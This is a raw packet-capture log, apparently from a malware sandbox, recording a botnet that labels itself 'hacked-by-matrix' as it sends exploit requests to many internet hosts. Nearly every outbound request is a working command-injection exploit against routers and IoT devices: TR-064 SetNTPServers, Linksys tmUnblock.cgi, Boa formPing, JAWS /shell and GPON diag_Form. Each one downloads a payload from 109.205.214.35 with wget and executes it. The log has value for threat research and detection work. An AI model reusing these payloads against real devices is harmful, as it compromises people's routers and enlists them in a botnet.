Mar 21, 2024 05:17:18.590605974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:24.734843016 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:37.021167040 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.360655069 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.505726099 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	56162	14.83.232.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.692708015 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:14.276083946 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	56170	14.83.232.47	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:12.978667974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	37304	172.65.30.178	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.202672958 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	58826	107.144.219.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.342557907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	58838	107.144.219.197	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.512655020 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	41166	14.76.96.195	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.625610113 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	47774	102.132.132.7	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.692183971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:14.038811922 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 04:17:13 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Mar 21, 2024 05:17:14.413014889 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 04:17:13 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	51244	178.17.7.177	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.716105938 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	58964	62.77.155.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.738940001 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:14.400899887 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	55924	34.70.228.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.804428101 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:13.921811104 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:13 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	41184	14.76.96.195	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:13.909617901 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	47790	102.132.132.7	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:14.038815022 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:15.806962013 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:16.146588087 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 04:17:15 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	19035	62.192.19.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:14.494405985 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	36974	104.125.210.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:14.994951010 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:15.331165075 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:17:15 GMT Date: Thu, 21 Mar 2024 04:17:15 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 64 64 63 31 33 33 62 38 26 23 34 36 3b 31 37 31 30 39 39 34 36 33 35 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.ddc133b8.1710994635.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	46518	210.126.117.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069334984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	47412	79.44.73.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069389105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	53906	109.8.224.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069396019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	51086	94.72.233.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069422007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
309	192.168.2.23	56134	79.93.242.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:15.069499016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
310	192.168.2.23	59068	212.205.73.241	443

Timestamp	Bytes transferred	Direction	Data
